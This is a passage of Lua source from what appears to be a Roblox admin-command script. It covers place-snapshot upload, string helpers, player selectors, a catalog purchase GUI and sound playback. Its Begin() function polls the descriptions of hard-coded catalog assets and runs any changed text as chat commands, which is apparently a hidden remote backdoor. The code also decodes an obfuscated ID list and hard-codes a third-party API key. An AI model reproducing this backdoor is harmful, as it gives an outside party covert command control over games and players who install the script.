CORE:FindType(Obj, "BlockMesh") then local Mesh = CORE:FindType(Obj, "BlockMesh") Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)} elseif CORE:FindType(Obj, "CylinderMesh") then Data.Shape = "Cylinder" elseif CORE:FindType(Obj, "SpecialMesh") then local Mesh = CORE:FindType(Obj, "SpecialMesh") if Mesh.MeshType == Enum.MeshType.Head then --idk else Skip = true end elseif CORE:FindType(Obj, "FileMesh") then Skip = true end if not Data.Shape and not Skip then if ypcall(function() return Obj.Shape end) then Data.Shape = string.sub(Obj.Shape.Name,14) if string.sub(Data.Shape,1,1) == "." then Data.Shape = string.sub(Data.Shape,2) end if Data.Shape == "Cylinder" then Z = Z + math.pi/2 end else Data.Shape = "Block" end end if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then Data.Label = string.gsub(Obj.Parent.Name, "'", "") end if not Skip then Data.Color = GUI:Color3ToHex(Obj.Color); Data.Size = Size; Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)}; Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)}; Data.Transparency = STRING:StringRound(Obj.Transparency); Data.Reflectance = STRING:StringRound(Obj.Reflectance); Data.Textures = {}; Data.Material = string.sub(tostring(Obj.Material),15); for _,Sub in pairs(Obj:GetChildren()) do if Sub:IsA("Decal") then local Texture = string.match(Sub.Texture, "%d+") if Sub.Texture == "rbxasset://textures/face.png" then Texture = "FACE" end Data.Textures[FaceCovert[Sub.Face.Name]] = Texture end end PartAmount = PartAmount + 1 table.insert(PlaceData.Parts, Data) if PartAmount >= MaxPartAmount then break end end end end if #Obj:GetChildren() > 0 then Scan(Obj) end end end Scan(Workspace) PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient) PlaceData.Other.PartAmount = PartAmount; PlaceJSON = Server.HS:JSONEncode(PlaceData) local Res = "Could not get response" local function SendData() Res = Server.HS:PostAsync(CORE.Domain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2) end if Stopypcall == true then SendData() else ypcall(SendData) end if PrintResponse then print(Res) end print("Sent snapshot") end function REMOTE:DefineWord(Word, Source) if not Word then return end if not Source then Source = "all" end local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5") if Response then local Decode = REMOTE:Decode(Response) if #Decode > 0 then return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[ ]]..Decode[1]["text"] else return "Invalid English word" end else return "Cannot connect to database" end end function REMOTE:DownloadJoke(Speaker) local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker) local Joke = nil if Res then local _, Start = string.find(Res, "") local End, _ = string.find(string.sub(Res, Start), "") Joke = string.sub(Res, Start, End + 1 + Start - 5) Joke = string.gsub(Joke, "\n", "") Joke = string.gsub(Joke, " ", "") -- tab Joke = string.gsub(Joke, "", "") Joke = string.gsub(Joke, "
", "") Joke = string.gsub(Joke, "<", "") Joke = string.gsub(Joke, ">", "") end return Joke end -- String functions -- function STRING:StringRound(Number) Number = Number * 100 if Number >= 0.5 then return tostring(math.ceil(Number)/100) else return tostring(math.floor(Number)/100) end return Number end function STRING:GetSplit(String, NumArgs, BetSplit) if not String then return nil end if BetSplit == nil then BetSplit = " " end if NumArgs == nil then NumArgs = math.huge end if NumArgs <= 0 then return {String} end local RecentParse = 1 local Args = {} for i = 1,NumArgs do local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse) if Find1 and Find2 then table.insert(Args, string.sub(String,RecentParse,Find1 - 1)) RecentParse = Find2 + 1 else break end end table.insert(Args,string.sub(String,RecentParse,#String)) return Args end function STRING:Defilter(String) local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String if RobloxApprove.Text == "Label" and String ~= "Label" then local NewString = "" for i = 1,#String,3 do NewString = NewString..string.char(169)..string.sub(String,i,i+2) end return NewString else return String end end function STRING:LeetSpeak(Input) if tostring(Input) then Input = string.upper(tostring(Input)) else return end Input = string.gsub(Input, "LEET", "1337") Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA") Input = string.gsub(Input, "E", "3") Input = string.gsub(Input, "O", "0") Input = string.gsub(Input, "A", "4") Input = string.gsub(Input, "X", "x") Input = string.gsub(Input, "I", "1") Input = string.gsub(Input, "S", "$") return Input end function STRING:FormatReplace(Player, Text) Text = string.gsub(Text,"_SERVERTIME", math.floor(Workspace.DistributedGameTime)) Text = string.gsub(Text,"_PLACEID", game.PlaceId) Text = string.gsub(Text,"_CREATORID", game.CreatorId) Text = string.gsub(Text,"_CREATOR", GameOwner) Text = string.gsub(Text,"_PLACENAME", PlaceName) Text = string.gsub(Text,"_REVPLACENAME", string.reverse(PlaceName)) Text = string.gsub(Text,"_PLACEDESC", PlaceInfo.Description) Text = string.gsub(Text,"_RANDOM", math.random(1,10000)) Text = string.gsub(Text,"_DATE", Date or "Cannot get date. Http not connected") Text = string.gsub(Text,"_TIME", CORE:GetTime(true)) if Player then Text = string.gsub(Text,"_USERID", tostring(Player.UserId)) Text = string.gsub(Text,"_NAMELEN",tostring(string.len(Player.Name))) Text = string.gsub(Text,"_REVNAME",string.reverse(Player.Name)) Text = string.gsub(Text,"_UPNAME",string.upper(Player.Name)) Text = string.gsub(Text,"_LOWNAME",string.lower(Player.Name)) Text = string.gsub(Text,"_NAME", Player.Name) Text = string.gsub(Text,"_LEETNAME", STRING:LeetSpeak(Player.Name)) Text = string.gsub(Text,"_ACCOUNTAGE", STRING:FindAge(Player.AccountAge)) Text = string.gsub(Text,"_AGE", STRING:FindAge(Player.AccountAge)) if ClientInfo[Player.Name].Benchmark then Text = string.gsub(Text,"_BENCH", ClientInfo[Player.Name].Benchmark) Text = string.gsub(Text,"_BENCHMARK", ClientInfo[Player.Name].Benchmark) else Text = string.gsub(Text,"_BENCH", "[NO BENCHMARK]") Text = string.gsub(Text,"_BENCHMARK", "[NO BENCHBENCHMARK]") end if Player.Character and Player.Character:FindFirstChild("Humanoid") then Text = string.gsub(Text,"_WALKSPEED", tostring(Player.Character.Humanoid.WalkSpeed)) Text = string.gsub(Text,"_HEALTH", tostring(Player.Character.Humanoid.Health)) Text = string.gsub(Text,"_MAXHEALTH", tostring(Player.Character.Humanoid.MaxHealth)) end local PlayerRank,RankNum = RANK:GetRank(Player) Text = string.gsub(Text,"_RANKNUM", tostring(RankNum)) Text = string.gsub(Text,"_RANK", PlayerRank) end return STRING:Defilter(Text) end function STRING:EncodeSpecialChars(Input) return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " ")) end function STRING:StringToBool(String) if String == "true" then return true else return false end end function STRING:BoolString(Value) if type(Value) == "boolean" then if Value == true then return "YES" elseif Value == false then return "NO" else return "NIL" end else return nil end end function STRING:MakeAvoidance(Length) if not Length then Length = 32 end local Avoidance = "" for i = 1,Length do Num = math.random(1,2) if Num == 1 then Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9 else Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z end end return Avoidance end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end function STRING:FindAge(Days) -- By LuaModelmaker local Years = math.floor(Days/365) local OtherDays = math.fmod(Days, 365) if Years > 1 then return Years.." years and "..OtherDays.." days" elseif Years == 1 then return Years.." year and "..OtherDays.." days" elseif Years == 0 then return "(No years) "..OtherDays.." days" end end function STRING:UnpackArgs(...) local Pack = {...} if type(Pack[1]) == "table" then Pack = Pack[1] end local ReturnString = table.concat(Pack, ", ") return ReturnString end function STRING:GetComma(Num) local Formatted = Num while true do Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2') if _ == 0 then break end end return Formatted end function STRING:DecodeUTF8(Value) local function DecodeString(Input) if type(Input) == "string" then for Find,Rep in pairs(HTMLDecode) do Input = string.gsub(Input, ""..Find..";", Rep) end Input = string.gsub(Input, """, "'") end return Input end if type(Value) == "table" then for Index,Var in pairs(Value) do Value[Index] = DecodeString(Var) end elseif type(Value) == "string" then Value = DecodeString(Value) end return Value end function STRING:IsSpacer(Input) if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then return true else return false end end function STRING:IsVowel(Input) Input = string.lower(tostring(Input)) if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then return true else return false end end function STRING:ValidE(Input) if not Input then return nil end if string.lower(Input) == "e" or Input == "~" then return true else return false end end function STRING:Scan(String, Speaker) local ReturnPlayers,ExcludeList = {},{} if not String then String = "" end if not Speaker then print("NO SPEAKER") end if string.sub(string.lower(String), 1, 12) == "includecase/" then String = string.sub(String, 13) else String = string.lower(String) end local Words = STRING:GetSplit(String, nil, "/") for _,Word in pairs(Words) do if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then table.insert(ReturnPlayers, Speaker) elseif Word == "all" or Word == "everyone" then for _,Player in pairs(Server.Players:GetPlayers()) do table.insert(ReturnPlayers, Player) end elseif Word == "others" or Word == "notme" then for _,Player in pairs(Server.Players:GetPlayers()) do if Player ~= Speaker then table.insert(ReturnPlayers, Player) end end elseif Word == "noobs" then for _,Player in pairs(Server.Players:GetPlayers()) do if Player.AccountAge < 365 then table.insert(ReturnPlayers, Player) end end elseif Word == "nonnoobs" then for _,Player in pairs(Server.Players:GetPlayers()) do if Player.AccountAge >= 365 then table.insert(ReturnPlayers, Player) end end elseif Word == "random" then local RandomPlayers = {} for _,Player in pairs(Server.Players:GetPlayers()) do if Player ~= Speaker then table.insert(RandomPlayers, Player) end end table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())]) elseif Word == "guests" then for _,Player in pairs(Server.Players:GetPlayers()) do if string.sub(Player.Name,1,6) == "Guest " then table.insert(ReturnPlayers, Player) end end elseif Word == "lowers" then for _,Player in pairs(Server.Players:GetPlayers()) do if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then table.insert(ReturnPlayers, Player) end end elseif Word == "uppers" then for _,Player in pairs(Server.Players:GetPlayers()) do if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then table.insert(ReturnPlayers, Player) end end elseif Word == "nbcs" then for _,Player in pairs(Server.Players:GetPlayers()) do if Player.MembershipType == Enum.MembershipType.None then -- Replicate table.insert(ReturnPlayers, Player) end end elseif Word == "bcs" then for _,Player in pairs(Server.Players:GetPlayers()) do if Player.MembershipType == Enum.MembershipType.BuildersClub then table.insert(ReturnPlayers, Player) end end elseif Word == "tbcs" then for _,Player in pairs(Server.Players:GetPlayers()) do if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then table.insert(ReturnPlayers, Player) end end elseif Word == "obcs" then for _,Player in pairs(Server.Players:GetPlayers()) do if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then table.insert(ReturnPlayers, Player) end end elseif Word == "allbcs" then for _,Player in pairs(Server.Players:GetPlayers()) do if Player.MembershipType ~= Enum.MembershipType.None then table.insert(ReturnPlayers, Player) end end elseif Word == "nonadmins" then for _,Player in pairs(Server.Players:GetPlayers()) do local IsAdminTrue, Rank = RANK:IsAdmin(Player) if IsAdminTrue == false then table.insert(ReturnPlayers, Player) end end elseif Word == "admins" then for _,Player in pairs(Server.Players:GetPlayers()) do local IsAdminTrue, Rank = RANK:IsAdmin(Player) if IsAdminTrue == true then table.insert(ReturnPlayers, Player) end end elseif Word == "friends" then for _,Player in pairs(Server.Players:GetPlayers()) do if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then table.insert(ReturnPlayers, Player) end end elseif string.sub(Word,1,5) == "team-" then for _,Player in pairs(Server.Players:GetPlayers()) do if Player.Neutral == false then local InTeam = false for _,Team in pairs(Teams:GetTeams()) do if Team.TeamColor == Player.TeamColor then if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then InTeam = true end end end if InTeam == true then table.insert(ReturnPlayers, Player) end end end elseif string.sub(Word,1,4) == "not-" then local NameArg = string.sub(Word,5) for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do table.insert(ExcludeList, Player) end elseif string.sub(Word,1,7) == "radius-" then local DidExe = false local NumArg = tonumber(string.sub(Word,8)) if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then for _,Player in pairs(Server.Players:GetChildren()) do if Player.Character and Player.Character:FindFirstChild("Torso") then if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then DidExe = true table.insert(ReturnPlayers, Player) end end end end if DidExe then coroutine.wrap(function() local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2) for i = 0,0.5,0.02 do Part.Transparency = 0.5+i wait() end Part:Destroy() end)() end elseif string.sub(Word,1,3) == "id-" then table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4)))) else if Word ~= "" then for _,Player in pairs(Server.Players:GetPlayers()) do if string.sub(string.lower(Player.Name),1,#Word) == Word then table.insert(ReturnPlayers, Player) end end else table.insert(ReturnPlayers, Speaker) end end end for _,Player in pairs(ExcludeList) do if Player and Player.Parent ~= nil then for Num,Player2 in pairs(ReturnPlayers) do if Player2 == Player then table.remove(ReturnPlayers, Num) end end end end for Num,Player in pairs(ReturnPlayers) do if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end end local PlayerDump = {} for _,Player in pairs(ReturnPlayers) do PlayerDump[Player] = true end ReturnPlayers = {} for Player,_ in pairs(PlayerDump) do table.insert(ReturnPlayers, Player) end return ReturnPlayers end -- Market functions -- function MARKET:GetImageFormat(ID) if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then local NewID = ID + 1 for i = 1,100 do NewID = NewID -1 local Product = nil ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end) if Product then if Product == 1 then break end end if i == 100 then NewID = ID end end return NewID end end end function MARKET:GetItemInfo(ID, Cache) local Product = MarketCache[ID] if not Cache or not Product then repeat wait() ypcall(function() Product = Server.MPS:GetProductInfo(ID) end) until Product ~= MarketCache[ID] end MarketCache[ID] = Product return Product end function MARKET:SearchItem(Category, Query, Subcategory) local URLAdd = "" if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd) if JSON then local Results = REMOTE:Decode(JSON) if Results then for Index,Info in pairs(Results) do Info = STRING:DecodeUTF8(Info) Results[Index] = Info MarketCache[Info.AssetId] = { AssetId = Info.AssetId; AssetTypeId = Info.AssetTypeID; ContentRatingTypeId = Info.ContentRatingTypeID; Created = Info.CreatedDate; Creator = {Name = Info.Creator, Id = Info.CreatorID}; Description = Info.Description; IsForSale = Info.IsForSale; IsLimited = Info.IsLimited; IsLimitedUnique = Info.IsLimitedUnique; IsNew = Info.IsNew; IsPublicDomain = Info.IsPublicDomain; MinimumMemberShipLevel = Info.MinimumMembershipLevel; Name = Info.Name; PriceInRobux = Info.PriceInRobux; PriceInTickets = Info.PriceInTickets; ProductId = Info.AssetId; -- no one knows what this is so whatevs.. Remaining = Info.Remaining; Sales = Info.Sales; Updated = Info.Updated; } end return Results end end end function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory) if not Player or not Category or not Query then return nil end local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query) local Items = MARKET:SearchItem(Category, Query, Subcategory) if Items then if #Items ~= 0 then local List,Correlate = {},{} for Num,Info in pairs(Items) do local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId} table.insert(List, Display) Correlate[Display[1]] = Info.AssetId end CloseGui:Invoke() local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true) Clicked.Event:connect(function(ClickName) ClickedItem(Correlate[ClickName]) end) else CloseGui:Invoke() GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information") end else CloseGui:Invoke() GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error") end end function MARKET:AssetTypeToString(AssetType) if AssetType == 1 then return "Image" elseif AssetType == 2 then return "T-Shirt" elseif AssetType == 3 then return "Audio" elseif AssetType == 4 then return "Mesh" elseif AssetType == 5 then return "Lua" elseif AssetType == 6 then return "HTML" elseif AssetType == 7 then return "Text" elseif AssetType == 8 then return "Hat" elseif AssetType == 9 then return "Place" elseif AssetType == 10 then return "Model" elseif AssetType == 11 then return "Shirt" elseif AssetType == 12 then return "Pants" elseif AssetType == 13 then return "Decal" elseif AssetType == 16 then return "Avatar" elseif AssetType == 17 then return "Head" elseif AssetType == 18 then return "Face" elseif AssetType == 19 then return "Gear" elseif AssetType == 21 then return "Badge" elseif AssetType == 22 then return "Group Emblem" elseif AssetType == 24 then return "Animation" elseif AssetType == 25 then return "Arms" elseif AssetType == 26 then return "Legs" elseif AssetType == 27 then return "Torso" elseif AssetType == 28 then return "Right Arm" elseif AssetType == 29 then return "Left Arm" elseif AssetType == 30 then return "Left Leg" elseif AssetType == 31 then return "Right Leg" elseif AssetType == 32 then return "Package" elseif AssetType == 33 then return "YouTube Video" elseif AssetType == 34 then return "Game Pass" elseif AssetType == 38 then return "Plugin" elseif AssetType == 0 then return "Product" end return "Content Invalid" end function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function() if not Player then return nil end if not Player:FindFirstChild("PlayerGui") then return nil end if not tonumber(ProductID) then return nil end local FromText = "" if From and From.Name then FromText = " | Prompted from "..From.Name end local Product = MARKET:GetItemInfo(ProductID, true) local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID) local CanBuy = Product.IsForSale local BuyText = "Buy" local BuyColor = Color3.new(0,1,0) if CanBuy == false then BuyColor = Color3.new(1,0,0) end if Product.IsPublicDomain == true then CanBuy = true BuyColor = Color3.new(1,0.5,0.5) BuyText = "FREE!" end if OwnsAsset then CanBuy = false end if Product.AssetTypeId == 9 then CanBuy = true BuyText = "Teleport" BuyColor = Color3.new(0.5,0.5,0.5) end if CanBuy == false then BuyColor = Color3.new(1,0,0) BuyText = "Item not for sale" end if OwnsAsset and Product.AssetTypeId ~= 9 then BuyColor = Color3.new(1,0,0) BuyText = "You own this!" end local ProductName = string.sub(Product.Name,1,20) if ProductID == AdminID then ProductName = Product.Name end local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008) local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0) local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14" local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top" local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy) if Product.Description then local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top" CORE:ExecuteResource("CalculateScrollY", Description) end Info.Text = [[ Creator: ]]..Product.Creator.Name..[[ Created: ]]..CreatedText..[[ Updated: ]]..UpdatedText..[[ Sold: ]]..Product.Sales..[[ ]] if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end if Product.AssetTypeId == 3 then local PlayerAdmin,Rank = RANK:IsAdmin(Player) if PlayerAdmin == true then local Playing = false local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784" Interact.MouseButton1Down:connect(function() if Playing == false then SOUND:PlayGlobalSound(ProductID) if Rank == "Member" and Settings.DisableAbuse == true then Interact:Destroy() end Interact.Image = "rbxassetid://67950809" Playing = true else SOUND:StopGlobalSound() Interact.Image = "rbxassetid://67950784" Playing = false end end) end end Buy.MouseButton1Down:connect(function() if BuyPressFunc then BuyPressFunc() elseif Product.AssetTypeId == 9 then Server.TS:Teleport(ProductID, Player) elseif CanBuy == true then Server.MPS:PromptPurchase(Player, ProductID) end end) end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function() local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated while wait(5) do local Purchase = Server.MPS:GetProductInfo(LinkedID) if OldVer ~= Purchase.Updated then OldVer = Purchase.Updated CORE:Chatted(Purchase.Description, nil, true, nil, nil, true) end end end)() end end)() end -- Sound functions -- function SOUND:SyncSoundList(TellSync) if not CORE:NilPlayer(TellSync) then GUI:SendHint(TellSync, "Syncing...", 5) end SoundList,GlobalSoundList = {},{} local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds") if LocalSoundList then if type(LocalSoundList) == "table" then if #LocalSoundList > 0 then for _,Data in pairs(LocalSoundList) do local SoundInfo = MARKET:GetItemInfo(Data[2], true) SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name} end end end end for _,JSONID in pairs(SoundJSONs) do for Name,ID in pairs(CORE:GetTable(JSONID)) do local SoundInfo = MARKET:GetItemInfo(ID, true) local FullName = SoundInfo.Name local CreatorName = SoundInfo.Creator.Name SoundList[Name] = {ID, FullName, CreatorName} GlobalSoundList[Name] = {ID, FullName, CreatorName} end end if not CORE:NilPlayer(TellSync) then GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4) end end function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped) if not Volume then Volume = 0.5 end if not Pitch then Pitch = 1 end if tonumber(ID) then ID = "rbxassetid://"..ID end if Looped == nil then Looped = false end local Sound = Instance.new("Sound", Parent) Sound.Pitch = Pitch Sound.Volume = Volume Sound.SoundId = ID Sound.Looped = Looped return Sound end function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings) if not Player or not ID then return nil end if NotifySounds[ID] then ID = NotifySounds[ID] end local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3) if Settings.EnableSounds or OverrideSettings then ClientSound:Play() coroutine.wrap(function() wait() ClientSound:Destroy() end)() end return Sound end function SOUND:BindButton(Button) if not Button then return end Button.MouseEnter:connect(function() SOUND:PlayNotification(Button, "Hover") end) Button.MouseButton1Click:connect(function() SOUND:PlayNotification(Button, "Select") end) end function SOUND:StopGlobalSound() if Sound then Sound:Stop() Sound:Destroy() Sound.SoundId = "" end end function SOUND:PlayGlobalSound(ID, ShowInfo) SOUND:StopGlobalSound() if ShowInfo == nil then ShowInfo = true end local SoundID = ID local SoundName = nil local SoundCreator = nil local Pitch = 1 for Name,Info in pairs(SoundList) do if type(SoundID) == "string" then if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then SoundID = Info[1] SoundName = Info[2] SoundCreator = Info[3] end else break end end if tonumber(SoundID) and not SoundName then local Info = MARKET:GetItemInfo(SoundID, true) if Info then SoundName = Info.Name SoundCreator = Info.Creator.Name if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then SoundID = nil end end end if tonumber(SoundID) then if SoundID == 131201443 then Pitch = -1 end if SoundID == 130775695 then Pitch = 0.8 end if SoundID == 144035866 then Pitch = 0.8 end Sound = SOUND:MakeSound(Server.Workspace, SoundID, 1, Pitch, true) Sound:Play() if ShowInfo == true then for _,Player in pairs(Server.Players:GetPlayers()) do GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 5) end end end end function SOUND:ConvertText(Text) Text = string.lower(tostring(Text)) local Letters = {} local IDs = {} for Rule,Replace in pairs(TextConverter.Pronounce) do Text = string.gsub(Text,string.lower(Rule),string.lower(Replace)) end for Rule,Replace in pairs(TextConverter.NonEnglishRules) do local Start, End = string.find(Text, string.lower(Rule)) if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then Text = string.gsub(Text, string.lower(Rule), Replace) end end for i = 1,#Text do table.insert(Letters, string.sub(Text,i,i)) end for Num = 1,#Letters do if not Letters[Num] then break end local Letter = Letters[Num] local function AddLetter() table.insert(IDs, TextConverter.LetterSounds[Letter]) end if Letter ~= "~" then if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo table.insert(IDs, TextConverter.LetterSounds["oo"]) table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup table.insert(IDs, TextConverter.LetterSounds["oo"]) table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this table.insert(IDs, TextConverter.LetterSounds["th"]) table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut table.insert(IDs, TextConverter.LetterSounds["sh"]) table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee table.insert(IDs, TextConverter.LongVowels["e"]) table.remove(Letters, Num + 1) elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what table.insert(IDs, 